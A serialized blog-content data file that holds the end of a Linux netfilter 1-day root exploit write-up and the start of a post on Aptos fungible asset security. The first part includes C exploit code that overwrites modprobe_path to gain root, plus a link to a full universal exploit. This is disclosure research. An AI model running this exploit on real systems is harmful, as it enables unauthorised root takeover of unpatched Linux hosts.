perror(\"",{"type":23,"tag":139,"props":58037,"children":58038},{"style":259},[58039],{"type":28,"value":1723},{"type":23,"tag":139,"props":58041,"children":58042},{"style":982},[58043],{"type":28,"value":2328},{"type":23,"tag":139,"props":58045,"children":58046},{"style":259},[58047],{"type":28,"value":6666},{"type":23,"tag":139,"props":58049,"children":58050},{"style":305},[58051],{"type":28,"value":58052},"write",{"type":23,"tag":139,"props":58054,"children":58055},{"style":259},[58056],{"type":28,"value":262},{"type":23,"tag":139,"props":58058,"children":58059},{"style":305},[58060],{"type":28,"value":39830},{"type":23,"tag":139,"props":58062,"children":58063},{"style":259},[58064],{"type":28,"value":58065},")\");\n",{"type":23,"tag":139,"props":58067,"children":58068},{"class":141,"line":1597},[58069,58073],{"type":23,"tag":139,"props":58070,"children":58071},{"style":319},[58072],{"type":28,"value":56859},{"type":23,"tag":139,"props":58074,"children":58075},{"style":259},[58076],{"type":28,"value":995},{"type":23,"tag":139,"props":58078,"children":58079},{"class":141,"line":1614},[58080],{"type":23,"tag":139,"props":58081,"children":58082},{"style":259},[58083],{"type":28,"value":56784},{"type":23,"tag":139,"props":58085,"children":58086},{"class":141,"line":1627},[58087],{"type":23,"tag":139,"props":58088,"children":58089},{"style":259},[58090],{"type":28,"value":1326},{"type":23,"tag":139,"props":58092,"children":58093},{"class":141,"line":1636},[58094],{"type":23,"tag":139,"props":58095,"children":58096},{"emptyLinePlaceholder":15},[58097],{"type":28,"value":184},{"type":23,"tag":139,"props":58099,"children":58100},{"class":141,"line":1659},[58101,58105,58109,58113,58117,58121],{"type":23,"tag":139,"props":58102,"children":58103},{"style":245},[58104],{"type":28,"value":52515},{"type":23,"tag":139,"props":58106,"children":58107},{"style":259},[58108],{"type":28,"value":262},{"type":23,"tag":139,"props":58110,"children":58111},{"style":982},[58112],{"type":28,"value":1085},{"type":23,"tag":139,"props":58114,"children":58115},{"style":259},[58116],{"type":28,"value":56670},{"type":23,"tag":139,"props":58118,"children":58119},{"style":1016},[58120],{"type":28,"value":2021},{"type":23,"tag":139,"props":58122,"children":58123},{"style":259},[58124],{"type":28,"value":56679},{"type":23,"tag":139,"props":58126,"children":58127},{"class":141,"line":1667},[58128,58132,58137,58141,58146,58151],{"type":23,"tag":139,"props":58129,"children":58130},{"style":245},[58131],{"type":28,"value":53216},{"type":23,"tag":139,"props":58133,"children":58134},{"style":259},[58135],{"type":28,"value":58136},"(fd_path, ",{"type":23,"tag":139,"props":58138,"children":58139},{"style":279},[58140],{"type":28,"value":53226},{"type":23,"tag":139,"props":58142,"children":58143},{"style":259},[58144],{"type":28,"value":58145},"(fd_path), ",{"type":23,"tag":139,"props":58147,"children":58148},{"style":265},[58149],{"type":28,"value":58150},"\"/proc/%i/fd/%i\"",{"type":23,"tag":139,"props":58152,"children":58153},{"style":259},[58154],{"type":28,"value":58155},", i, modprobe_fd);\n",{"type":23,"tag":139,"props":58157,"children":58158},{"class":141,"line":1676},[58159],{"type":23,"tag":139,"props":58160,"children":58161},{"emptyLinePlaceholder":15},[58162],{"type":28,"value":184},{"type":23,"tag":139,"props":58164,"children":58165},{"class":141,"line":1745},[58166,58171,58176,58180],{"type":23,"tag":139,"props":58167,"children":58168},{"style":245},[58169],{"type":28,"value":58170},"        lseek",{"type":23,"tag":139,"props":58172,"children":58173},{"style":259},[58174],{"type":28,"value":58175},"(modprobe_fd, ",{"type":23,"tag":139,"props":58177,"children":58178},{"style":1016},[58179],{"type":28,"value":2021},{"type":23,"tag":139,"props":58181,"children":58182},{"style":259},[58183],{"type":28,"value":58184},", SEEK_SET);\n",{"type":23,"tag":139,"props":58186,"children":58187},{"class":141,"line":1753},[58188,58193],{"type":23,"tag":139,"props":58189,"children":58190},{"style":245},[58191],{"type":28,"value":58192},"        dprintf",{"type":23,"tag":139,"props":58194,"children":58195},{"style":259},[58196],{"type":28,"value":58197},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":139,"props":58199,"children":58200},{"class":141,"line":1783},[58201],{"type":23,"tag":139,"props":58202,"children":58203},{"emptyLinePlaceholder":15},[58204],{"type":28,"value":184},{"type":23,"tag":139,"props":58206,"children":58207},{"class":141,"line":1791},[58208,58212,58216,58220,58224,58228,58233,58237,58242,58247,58251,58255,58259],{"type":23,"tag":139,"props":58209,"children":58210},{"style":319},[58211],{"type":28,"value":1249},{"type":23,"tag":139,"props":58213,"children":58214},{"style":259},[58215],{"type":28,"value":1042},{"type":23,"tag":139,"props":58217,"children":58218},{"style":245},[58219],{"type":28,"value":58052},{"type":23,"tag":139,"props":58221,"children":58222},{"style":259},[58223],{"type":28,"value":262},{"type":23,"tag":139,"props":58225,"children":58226},{"style":294},[58227],{"type":28,"value":56723},{"type":23,"tag":139,"props":58229,"children":58230},{"style":259},[58231],{"type":28,"value":58232},"[pipe_idx][",{"type":23,"tag":139,"props":58234,"children":58235},{"style":1016},[58236],{"type":28,"value":647},{"type":23,"tag":139,"props":58238,"children":58239},{"style":259},[58240],{"type":28,"value":58241},"], fd_path, ",{"type":23,"tag":139,"props":58243,"children":58244},{"style":1016},[58245],{"type":28,"value":58246},"32",{"type":23,"tag":139,"props":58248,"children":58249},{"style":259},[58250],{"type":28,"value":1062},{"type":23,"tag":139,"props":58252,"children":58253},{"style":982},[58254],{"type":28,"value":3808},{"type":23,"tag":139,"props":58256,"children":58257},{"style":1016},[58258],{"type":28,"value":1019},{"type":23,"tag":139,"props":58260,"children":58261},{"style":259},[58262],{"type":28,"value":273},{"type":23,"tag":139,"props":58264,"children":58265},{"class":141,"line":1823},[58266],{"type":23,"tag":139,"props":58267,"children":58268},{"style":259},[58269],{"type":28,"value":29546},{"type":23,"tag":139,"props":58271,"children":58272},{"class":141,"line":1831},[58273,58277,58281,58285,58289,58294],{"type":23,"tag":139,"props":58274,"children":58275},{"style":245},[58276],{"type":28,"value":55796},{"type":23,"tag":139,"props":58278,"children":58279},{"style":259},[58280],{"type":28,"value":262},{"type":23,"tag":139,"props":58282,"children":58283},{"style":265},[58284],{"type":28,"value":18067},{"type":23,"tag":139,"props":58286,"children":58287},{"style":46270},[58288],{"type":28,"value":46273},{"type":23,"tag":139,"props":58290,"children":58291},{"style":265},[58292],{"type":28,"value":58293},"[-] write(pipe)\"",{"type":23,"tag":139,"props":58295,"children":58296},{"style":259},[58297],{"type":28,"value":1820},{"type":23,"tag":139,"props":58299,"children":58300},{"class":141,"line":1891},[58301],{"type":23,"tag":139,"props":58302,"children":58303},{"style":259},[58304],{"type":28,"value":1326},{"type":23,"tag":139,"props":58306,"children":58307},{"class":141,"line":7053},[58308],{"type":23,"tag":139,"props":58309,"children":58310},{"emptyLinePlaceholder":15},[58311],{"type":28,"value":184},{"type":23,"tag":139,"props":58313,"children":58314},{"class":141,"line":7071},[58315,58319,58323,58328],{"type":23,"tag":139,"props":58316,"children":58317},{"style":319},[58318],{"type":28,"value":1249},{"type":23,"tag":139,"props":58320,"children":58321},{"style":259},[58322],{"type":28,"value":1042},{"type":23,"tag":139,"props":58324,"children":58325},{"style":245},[58326],{"type":28,"value":58327},"check_modprobe",{"type":23,"tag":139,"props":58329,"children":58330},{"style":259},[58331],{"type":28,"value":58332},"(fd_path))\n",{"type":23,"tag":139,"props":58334,"children":58335},{"class":141,"line":7116},[58336],{"type":23,"tag":139,"props":58337,"children":58338},{"style":259},[58339],{"type":28,"value":29546},{"type":23,"tag":139,"props":58341,"children":58342},{"class":141,"line":7222},[58343,58348,58352,58357],{"type":23,"tag":139,"props":58344,"children":58345},{"style":245},[58346],{"type":28,"value":58347},"            puts",{"type":23,"tag":139,"props":58349,"children":58350},{"style":259},[58351],{"type":28,"value":262},{"type":23,"tag":139,"props":58353,"children":58354},{"style":265},[58355],{"type":28,"value":58356},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":139,"props":58358,"children":58359},{"style":259},[58360],{"type":28,"value":1820},{"type":23,"tag":139,"props":58362,"children":58363},{"class":141,"line":21518},[58364,58368],{"type":23,"tag":139,"props":58365,"children":58366},{"style":319},[58367],{"type":28,"value":1276},{"type":23,"tag":139,"props":58369,"children":58370},{"style":259},[58371],{"type":28,"value":995},{"type":23,"tag":139,"props":58373,"children":58374},{"class":141,"line":21553},[58375],{"type":23,"tag":139,"props":58376,"children":58377},{"style":259},[58378],{"type":28,"value":1326},{"type":23,"tag":139,"props":58380,"children":58381},{"class":141,"line":21561},[58382],{"type":23,"tag":139,"props":58383,"children":58384},{"emptyLinePlaceholder":15},[58385],{"type":28,"value":184},{"type":23,"tag":139,"props":58387,"children":58388},{"class":141,"line":21569},[58389,58393,58397,58402],{"type":23,"tag":139,"props":58390,"children":58391},{"style":319},[58392],{"type":28,"value":1249},{"type":23,"tag":139,"props":58394,"children":58395},{"style":259},[58396],{"type":28,"value":1042},{"type":23,"tag":139,"props":58398,"children":58399},{"style":245},[58400],{"type":28,"value":58401},"trigger_modprobe",{"type":23,"tag":139,"props":58403,"children":58404},{"style":259},[58405],{"type":28,"value":58406},"(status_fd))\n",{"type":23,"tag":139,"props":58408,"children":58409},{"class":141,"line":21578},[58410],{"type":23,"tag":139,"props":58411,"children":58412},{"style":259},[58413],{"type":28,"value":29546},{"type":23,"tag":139,"props":58415,"children":58416},{"class":141,"line":21620},[58417,58421,58425,58429,58433,58438],{"type":23,"tag":139,"props":58418,"children":58419},{"style":245},[58420],{"type":28,"value":58347},{"type":23,"tag":139,"props":58422,"children":58423},{"style":259},[58424],{"type":28,"value":262},{"type":23,"tag":139,"props":58426,"children":58427},{"style":265},[58428],{"type":28,"value":18067},{"type":23,"tag":139,"props":58430,"children":58431},{"style":46270},[58432],{"type":28,"value":46273},{"type":23,"tag":139,"props":58434,"children":58435},{"style":265},[58436],{"type":28,"value":58437},"[+] got root\"",{"type":23,"tag":139,"props":58439,"children":58440},{"style":259},[58441],{"type":28,"value":1820},{"type":23,"tag":139,"props":58443,"children":58444},{"class":141,"line":21653},[58445,58450],{"type":23,"tag":139,"props":58446,"children":58447},{"style":319},[58448],{"type":28,"value":58449},"            goto",{"type":23,"tag":139,"props":58451,"children":58452},{"style":259},[58453],{"type":28,"value":58454}," out;\n",{"type":23,"tag":139,"props":58456,"children":58457},{"class":141,"line":21661},[58458],{"type":23,"tag":139,"props":58459,"children":58460},{"style":259},[58461],{"type":28,"value":1326},{"type":23,"tag":139,"props":58463,"children":58464},{"class":141,"line":21669},[58465],{"type":23,"tag":139,"props":58466,"children":58467},{"emptyLinePlaceholder":15},[58468],{"type":28,"value":184},{"type":23,"tag":139,"props":58470,"children":58471},{"class":141,"line":21678},[58472,58477,58481,58485,58489,58493,58497,58501,58505,58510,58514],{"type":23,"tag":139,"props":58473,"children":58474},{"style":319},[58475],{"type":28,"value":58476},"        for",{"type":23,"tag":139,"props":58478,"children":58479},{"style":259},[58480],{"type":28,"value":1042},{"type":23,"tag":139,"props":58482,"children":58483},{"style":279},[58484],{"type":28,"value":17055},{"type":23,"tag":139,"props":58486,"children":58487},{"style":259},[58488],{"type":28,"value":52442},{"type":23,"tag":139,"props":58490,"children":58491},{"style":982},[58492],{"type":28,"value":1067},{"type":23,"tag":139,"props":58494,"children":58495},{"style":1016},[58496],{"type":28,"value":1019},{"type":23,"tag":139,"props":58498,"children":58499},{"style":259},[58500],{"type":28,"value":49131},{"type":23,"tag":139,"props":58502,"children":58503},{"style":982},[58504],{"type":28,"value":3808},{"type":23,"tag":139,"props":58506,"children":58507},{"style":259},[58508],{"type":28,"value":58509}," SKBUF_SPRAY; i",{"type":23,"tag":139,"props":58511,"children":58512},{"style":982},[58513],{"type":28,"value":49167},{"type":23,"tag":139,"props":58515,"children":58516},{"style":259},[58517],{"type":28,"value":273},{"type":23,"tag":139,"props":58519,"children":58520},{"class":141,"line":21754},[58521],{"type":23,"tag":139,"props":58522,"children":58523},{"style":259},[58524],{"type":28,"value":29546},{"type":23,"tag":139,"props":58526,"children":58527},{"class":141,"line":21787},[58528,58532,58536,58541,58545,58550,58555,58559,58564,58568,58572,58577,58581,58585,58589],{"type":23,"tag":139,"props":58529,"children":58530},{"style":319},[58531],{"type":28,"value":56700},{"type":23,"tag":139,"props":58533,"children":58534},{"style":259},[58535],{"type":28,"value":1042},{"type":23,"tag":139,"props":58537,"children":58538},{"style":245},[58539],{"type":28,"value":58540},"read",{"type":23,"tag":139,"props":58542,"children":58543},{"style":259},[58544],{"type":28,"value":262},{"type":23,"tag":139,"props":58546,"children":58547},{"style":294},[58548],{"type":28,"value":58549},"sock",{"type":23,"tag":139,"props":58551,"children":58552},{"style":259},[58553],{"type":28,"value":58554},"[i][",{"type":23,"tag":139,"props":58556,"children":58557},{"style":1016},[58558],{"type":28,"value":647},{"type":23,"tag":139,"props":58560,"children":58561},{"style":259},[58562],{"type":28,"value":58563},"], leak, ",{"type":23,"tag":139,"props":58565,"children":58566},{"style":1016},[58567],{"type":28,"value":56047},{"type":23,"tag":139,"props":58569,"children":58570},{"style":982},[58571],{"type":28,"value":49153},{"type":23,"tag":139,"props":58573,"children":58574},{"style":1016},[58575],{"type":28,"value":58576}," 320",{"type":23,"tag":139,"props":58578,"children":58579},{"style":259},[58580],{"type":28,"value":1062},{"type":23,"tag":139,"props":58582,"children":58583},{"style":982},[58584],{"type":28,"value":3808},{"type":23,"tag":139,"props":58586,"children":58587},{"style":1016},[58588],{"type":28,"value":1019},{"type":23,"tag":139,"props":58590,"children":58591},{"style":259},[58592],{"type":28,"value":273},{"type":23,"tag":139,"props":58594,"children":58595},{"class":141,"line":21795},[58596],{"type":23,"tag":139,"props":58597,"children":58598},{"style":259},[58599],{"type":28,"value":29582},{"type":23,"tag":139,"props":58601,"children":58602},{"class":141,"line":21803},[58603,58608,58612,58617],{"type":23,"tag":139,"props":58604,"children":58605},{"style":245},[58606],{"type":28,"value":58607},"                perror",{"type":23,"tag":139,"props":58609,"children":58610},{"style":259},[58611],{"type":28,"value":262},{"type":23,"tag":139,"props":58613,"children":58614},{"style":265},[58615],{"type":28,"value":58616},"\"[-] read(socket)\"",{"type":23,"tag":139,"props":58618,"children":58619},{"style":259},[58620],{"type":28,"value":1820},{"type":23,"tag":139,"props":58622,"children":58623},{"class":141,"line":21840},[58624,58629,58633,58637],{"type":23,"tag":139,"props":58625,"children":58626},{"style":319},[58627],{"type":28,"value":58628},"                return",{"type":23,"tag":139,"props":58630,"children":58631},{"style":982},[58632],{"type":28,"value":49153},{"type":23,"tag":139,"props":58634,"children":58635},{"style":1016},[58636],{"type":28,"value":647},{"type":23,"tag":139,"props":58638,"children":58639},{"style":259},[58640],{"type":28,"value":995},{"type":23,"tag":139,"props":58642,"children":58643},{"class":141,"line":21853},[58644],{"type":23,"tag":139,"props":58645,"children":58646},{"style":259},[58647],{"type":28,"value":56784},{"type":23,"tag":139,"props":58649,"children":58650},{"class":141,"line":21866},[58651],{"type":23,"tag":139,"props":58652,"children":58653},{"style":259},[58654],{"type":28,"value":1326},{"type":23,"tag":139,"props":58656,"children":58657},{"class":141,"line":21879},[58658],{"type":23,"tag":139,"props":58659,"children":58660},{"style":259},[58661],{"type":28,"value":1335},{"type":23,"tag":139,"props":58663,"children":58664},{"class":141,"line":21933},[58665,58669,58673,58678],{"type":23,"tag":139,"props":58666,"children":58667},{"style":245},[58668],{"type":28,"value":53405},{"type":23,"tag":139,"props":58670,"children":58671},{"style":259},[58672],{"type":28,"value":262},{"type":23,"tag":139,"props":58674,"children":58675},{"style":265},[58676],{"type":28,"value":58677},"\"[-] fake modprobe failed\"",{"type":23,"tag":139,"props":58679,"children":58680},{"style":259},[58681],{"type":28,"value":1820},{"type":23,"tag":139,"props":58683,"children":58684},{"class":141,"line":21942},[58685],{"type":23,"tag":139,"props":58686,"children":58687},{"style":259},[58688],{"type":28,"value":8327},{"type":23,"tag":24,"props":58690,"children":58691},{},[58692,58694,58701],{"type":28,"value":58693},"This trick has already been throughly detailed by ",{"type":23,"tag":64,"props":58695,"children":58698},{"href":58696,"rel":58697},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[68],[58699],{"type":28,"value":58700},"lau",{"type":28,"value":58702},", so we won't go much more into it.",{"type":23,"tag":666,"props":58704,"children":58706},{"id":58705},"universal-exploit-demo",[58707],{"type":28,"value":58708},"Universal exploit demo",{"type":23,"tag":24,"props":58710,"children":58711},{},[58712,58714,58720],{"type":28,"value":58713},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":64,"props":58715,"children":58718},{"href":58716,"rel":58717},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[68],[58719],{"type":28,"value":55314},{"type":28,"value":73},{"type":23,"tag":41,"props":58722,"children":58724},{"id":58723},"disclosure-timeline",[58725],{"type":28,"value":58726},"Disclosure Timeline",{"type":23,"tag":14699,"props":58728,"children":58729},{},[58730,58735,58740,58745,58750],{"type":23,"tag":801,"props":58731,"children":58732},{},[58733],{"type":28,"value":58734},"March 21st -- Patch made public",{"type":23,"tag":801,"props":58736,"children":58737},{},[58738],{"type":28,"value":58739},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":801,"props":58741,"children":58742},{},[58743],{"type":28,"value":58744},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":801,"props":58746,"children":58747},{},[58748],{"type":28,"value":58749},"March 26th -- Wrote Universal exploit",{"type":23,"tag":801,"props":58751,"children":58752},{},[58753],{"type":28,"value":58754},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":24,"props":58756,"children":58757},{},[58758],{"type":28,"value":58759},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":41,"props":58761,"children":58762},{"id":26955},[58763],{"type":28,"value":16955},{"type":23,"tag":24,"props":58765,"children":58766},{},[58767],{"type":28,"value":58768},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":24,"props":58770,"children":58771},{},[58772],{"type":28,"value":58773},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":817,"props":58775,"children":58776},{},[58777],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":58779},[58780,58783,58786,58789,58790,58800,58808,58809],{"id":48465,"depth":151,"text":48468,"children":58781},[58782],{"id":48486,"depth":160,"text":48489},{"id":48529,"depth":151,"text":48529,"children":58784},[58785],{"id":48576,"depth":160,"text":48579},{"id":48634,"depth":151,"text":48637,"children":58787},[58788],{"id":49797,"depth":160,"text":49800},{"id":51672,"depth":151,"text":51675},{"id":52074,"depth":151,"text":52077,"children":58791},[58792,58793,58794,58796,58797,58798,58799],{"id":52101,"depth":160,"text":52104},{"id":52983,"depth":160,"text":52986},{"id":53569,"depth":160,"text":58795},"Leaking self pointer of nft_object",{"id":53967,"depth":160,"text":53970},{"id":54481,"depth":160,"text":54484},{"id":54611,"depth":160,"text":54268},{"id":55295,"depth":160,"text":55298},{"id":55318,"depth":151,"text":55321,"children":58801},[58802,58803,58804,58805,58807],{"id":55329,"depth":160,"text":55332},{"id":56187,"depth":160,"text":56190},{"id":56263,"depth":160,"text":56266},{"id":57888,"depth":160,"text":58806},"Overwriting modprobe_path",{"id":58705,"depth":160,"text":58708},{"id":58723,"depth":151,"text":58726},{"id":26955,"depth":151,"text":16955},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":58814,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":58815,"description":58816,"image":58817,"date":58819,"isFeatured":15,"onBlogPage":15,"tags":58820,"body":58821,"_type":831,"_id":65539,"_source":833,"_file":65540,"_stem":65541,"_extension":836},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":58818,"width":3388,"height":3389},"/posts/aptos-guide/title.png","2025-02-10",[3882],{"type":20,"children":58822,"toc":65523},[58823,58836,58841,58850,58856,58884,58957,58997,59031,59192,59211,59292,59332,59360,59377,59382,59390,59395,59401,59422,59502,59535,59543,59556,59561,59945,59950,59955,59961,59966,59978,60082,60120,60123,60141,60449,60454,60466,60472,60498,60519,60524,60703,60723,60729,60749,60761,60766,60772,60784,60847,60874,60898,61119,61122,61141,61251,61308,61444,61471,61477,61503,61747,61775,62077,62110,62124,62150,62183,62490,62502,62779,62793,63110,63129,63135,63167,63207,63308,63328,63448,63465,63539,63551,63639,63660,63666,63671,63676,63693,63714,64085,64144,64149,64600,64605,64641,64647,64659,64681,64707,64914,64928,65183,65195,65222,65373,65392,65422,65426,65437,65442,65455,65519],{"type":23,"tag":24,"props":58824,"children":58825},{},[58826,58828,58834],{"type":28,"value":58827},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":135,"props":58829,"children":58831},{"className":58830},[],[58832],{"type":28,"value":58833},"coin",{"type":28,"value":58835}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":24,"props":58837,"children":58838},{},[58839],{"type":28,"value":58840},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":58842,"props":58843,"children":58844},"important",{},[58845],{"type":23,"tag":24,"props":58846,"children":58847},{},[58848],{"type":28,"value":58849},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":41,"props":58851,"children":58853},{"id":58852},"aptos-coin-standard",[58854],{"type":28,"value":58855},"Aptos Coin standard",{"type":23,"tag":24,"props":58857,"children":58858},{},[58859,58861,58867,58869,58874,58875,58882],{"type":28,"value":58860},"In the beginning, Aptos used ",{"type":23,"tag":135,"props":58862,"children":58864},{"className":58863},[],[58865],{"type":28,"value":58866},"Coin",{"type":28,"value":58868},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":135,"props":58870,"children":58872},{"className":58871},[],[58873],{"type":28,"value":58866},{"type":28,"value":3504},{"type":23,"tag":64,"props":58876,"children":58879},{"href":58877,"rel":58878},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[68],[58880],{"type":28,"value":58881},"defined",{"type":28,"value":58883}," in Aptos as follows:",{"type":23,"tag":128,"props":58885,"children":58887},{"className":948,"code":58886,"language":947,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[58888],{"type":23,"tag":135,"props":58889,"children":58890},{"__ignoreMap":7},[58891,58930,58950],{"type":23,"tag":139,"props":58892,"children":58893},{"class":141,"line":142},[58894,58898,58902,58906,58910,58914,58918,58922,58926],{"type":23,"tag":139,"props":58895,"children":58896},{"style":279},[58897],{"type":28,"value":7409},{"type":23,"tag":139,"props":58899,"children":58900},{"style":305},[58901],{"type":28,"value":3803},{"type":23,"tag":139,"props":58903,"children":58904},{"style":259},[58905],{"type":28,"value":3808},{"type":23,"tag":139,"props":58907,"children":58908},{"style":294},[58909],{"type":28,"value":3813},{"type":23,"tag":139,"props":58911,"children":58912},{"style":305},[58913],{"type":28,"value":3818},{"type":23,"tag":139,"props":58915,"children":58916},{"style":259},[58917],{"type":28,"value":3823},{"type":23,"tag":139,"props":58919,"children":58920},{"style":294},[58921],{"type":28,"value":3828},{"type":23,"tag":139,"props":58923,"children":58924},{"style":294},[58925],{"type":28,"value":3833},{"type":23,"tag":139,"props":58927,"children":58928},{"style":259},[58929],{"type":28,"value":1268},{"type":23,"tag":139,"props":58931,"children":58932},{"class":141,"line":151},[58933,58938,58942,58946],{"type":23,"tag":139,"props":58934,"children":58935},{"style":294},[58936],{"type":28,"value":58937},"    value",{"type":23,"tag":139,"props":58939,"children":58940},{"style":982},[58941],{"type":28,"value":2493},{"type":23,"tag":139,"props":58943,"children":58944},{"style":305},[58945],{"type":28,"value":3862},{"type":23,"tag":139,"props":58947,"children":58948},{"style":259},[58949],{"type":28,"value":1488},{"type":23,"tag":139,"props":58951,"children":58952},{"class":141,"line":160},[58953],{"type":23,"tag":139,"props":58954,"children":58955},{"style":259},[58956],{"type":28,"value":1897},{"type":23,"tag":24,"props":58958,"children":58959},{},[58960,58962,58967,58969,58975,58976,58982,58984,58989,58991,58996],{"type":28,"value":58961},"Aptos distinguishes coins by their type (",{"type":23,"tag":135,"props":58963,"children":58965},{"className":58964},[],[58966],{"type":28,"value":4586},{"type":28,"value":58968},") at compile time. For example, ",{"type":23,"tag":135,"props":58970,"children":58972},{"className":58971},[],[58973],{"type":28,"value":58974},"Coin\u003COtter>",{"type":28,"value":9002},{"type":23,"tag":135,"props":58977,"children":58979},{"className":58978},[],[58980],{"type":28,"value":58981},"Coin\u003CWeasel>",{"type":28,"value":58983}," represent different coins, and you cannot pass a ",{"type":23,"tag":135,"props":58985,"children":58987},{"className":58986},[],[58988],{"type":28,"value":58981},{"type":28,"value":58990}," to a function expecting ",{"type":23,"tag":135,"props":58992,"children":58994},{"className":58993},[],[58995],{"type":28,"value":58974},{"type":28,"value":73},{"type":23,"tag":24,"props":58998,"children":58999},{},[59000,59002,59007,59009,59014,59016,59021,59023,59029],{"type":28,"value":59001},"The type signature reveals why ",{"type":23,"tag":135,"props":59003,"children":59005},{"className":59004},[],[59006],{"type":28,"value":58866},{"type":28,"value":59008}," has become a legacy standard. ",{"type":23,"tag":135,"props":59010,"children":59012},{"className":59011},[],[59013],{"type":28,"value":58866},{"type":28,"value":59015}," has only the ",{"type":23,"tag":135,"props":59017,"children":59019},{"className":59018},[],[59020],{"type":28,"value":3943},{"type":28,"value":59022}," ability and uses a ",{"type":23,"tag":135,"props":59024,"children":59026},{"className":59025},[],[59027],{"type":28,"value":59028},"CoinStore",{"type":28,"value":59030}," wrapper to store the coin and metadata:",{"type":23,"tag":128,"props":59032,"children":59034},{"className":948,"code":59033,"language":947,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[59035],{"type":23,"tag":135,"props":59036,"children":59037},{"__ignoreMap":7},[59038,59078,59106,59126,59156,59185],{"type":23,"tag":139,"props":59039,"children":59040},{"class":141,"line":142},[59041,59045,59050,59054,59058,59062,59066,59070,59074],{"type":23,"tag":139,"props":59042,"children":59043},{"style":279},[59044],{"type":28,"value":7409},{"type":23,"tag":139,"props":59046,"children":59047},{"style":305},[59048],{"type":28,"value":59049}," CoinStore",{"type":23,"tag":139,"props":59051,"children":59052},{"style":259},[59053],{"type":28,"value":3808},{"type":23,"tag":139,"props":59055,"children":59056},{"style":294},[59057],{"type":28,"value":3813},{"type":23,"tag":139,"props":59059,"children":59060},{"style":305},[59061],{"type":28,"value":3818},{"type":23,"tag":139,"props":59063,"children":59064},{"style":259},[59065],{"type":28,"value":3823},{"type":23,"tag":139,"props":59067,"children":59068},{"style":294},[59069],{"type":28,"value":3828},{"type":23,"tag":139,"props":59071,"children":59072},{"style":294},[59073],{"type":28,"value":3934},{"type":23,"tag":139,"props":59075,"children":59076},{"style":259},[59077],{"type":28,"value":1268},{"type":23,"tag":139,"props":59079,"children":59080},{"class":141,"line":151},[59081,59086,59090,59094,59098,59102],{"type":23,"tag":139,"props":59082,"children":59083},{"style":294},[59084],{"type":28,"value":59085},"    coin",{"type":23,"tag":139,"props":59087,"children":59088},{"style":982},[59089],{"type":28,"value":2493},{"type":23,"tag":139,"props":59091,"children":59092},{"style":305},[59093],{"type":28,"value":3803},{"type":23,"tag":139,"props":59095,"children":59096},{"style":259},[59097],{"type":28,"value":3808},{"type":23,"tag":139,"props":59099,"children":59100},{"style":305},[59101],{"type":28,"value":4586},{"type":23,"tag":139,"props":59103,"children":59104},{"style":259},[59105],{"type":28,"value":4141},{"type":23,"tag":139,"props":59107,"children":59108},{"class":141,"line":160},[59109,59114,59118,59122],{"type":23,"tag":139,"props":59110,"children":59111},{"style":294},[59112],{"type":28,"value":59113},"    frozen",{"type":23,"tag":139,"props":59115,"children":59116},{"style":982},[59117],{"type":28,"value":2493},{"type":23,"tag":139,"props":59119,"children":59120},{"style":305},[59121],{"type":28,"value":10061},{"type":23,"tag":139,"props":59123,"children":59124},{"style":259},[59125],{"type":28,"value":1488},{"type":23,"tag":139,"props":59127,"children":59128},{"class":141,"line":169},[59129,59134,59138,59143,59147,59152],{"type":23,"tag":139,"props":59130,"children":59131},{"style":294},[59132],{"type":28,"value":59133},"    deposit_events",{"type":23,"tag":139,"props":59135,"children":59136},{"style":982},[59137],{"type":28,"value":2493},{"type":23,"tag":139,"props":59139,"children":59140},{"style":305},[59141],{"type":28,"value":59142}," 